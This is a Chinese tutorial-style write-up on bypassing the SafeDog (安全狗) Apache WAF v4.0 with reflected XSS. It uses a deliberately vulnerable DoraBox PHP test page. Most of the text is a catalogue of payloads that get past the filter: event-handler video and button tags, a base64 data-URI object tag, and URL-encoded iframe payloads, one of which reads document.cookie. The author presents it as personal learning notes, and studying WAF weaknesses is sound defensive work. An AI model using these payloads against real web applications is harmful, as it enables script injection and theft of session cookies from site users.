XSS绕过安全狗4.0的方法

实验环境

Windows 10+phpstudy+安全狗apache版本v4.0+PHP代码

测试代码

1.    <!DOCTYPE html>  
2.    <html>  
3.    <head>  
4.        <meta charset="utf-8">  
5.        <title>DoraBox - 反射XSS</title>  
6.    </head>  
7.    <body>  
8.    <?php  
9.        include "../class/function.class.php";  
10.        $p = new Func("GET","name");  
11.        $p -> con_html();  
12.        if (isset($_REQUEST['submit'])) {  
13.            $name = $_REQUEST['name'];  
14.            echo $p -> con_function('var_dump',$name);  
15.        }  
16.    ?>  
17.    </body>  
18.    </html>  

 

实验步骤

首先先测试过滤那些标签 如图所示:

 

 

 

标签:

1.    <script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> 
2.    <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>

 

没有过滤的标签:

1.    <a>
2.    <body> 
3.    <button> 
4.    <var> 
5.    <iframe> 
6.    <object> 
7.    <keygen> 
8.    <math>
9.    <svg>

绕过方法

可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过(安全狗都没有过滤)

 

 

 

video标签:

1.    <video src=x onerror=prompt(1);>  
2.    <video src=x onerror=alert(48)>  

 

 

button标签:

1.    <button onfocus=alert(1) autofocus>  
2.    <button/onclick=alert(1) >xss</button>  

 

 

object标签:

1.    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>  
2.       
3.    base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg      
4.          解码:<script>alert(1)</script>  

 

 

iframe标签:

1.    <IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>  
2.    <iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'> 

 

 

总结

对于绕waf,我也是在学习阶段理解的并不多,但是我个人觉得多了解一些数据库的特性,一些不常见小的技巧、函数等,分析waf的规则,waf规则总有漏网之鱼。最后,文章只是记录自己学习的过程,有些想法不是很完善,仅仅是一些想法分享。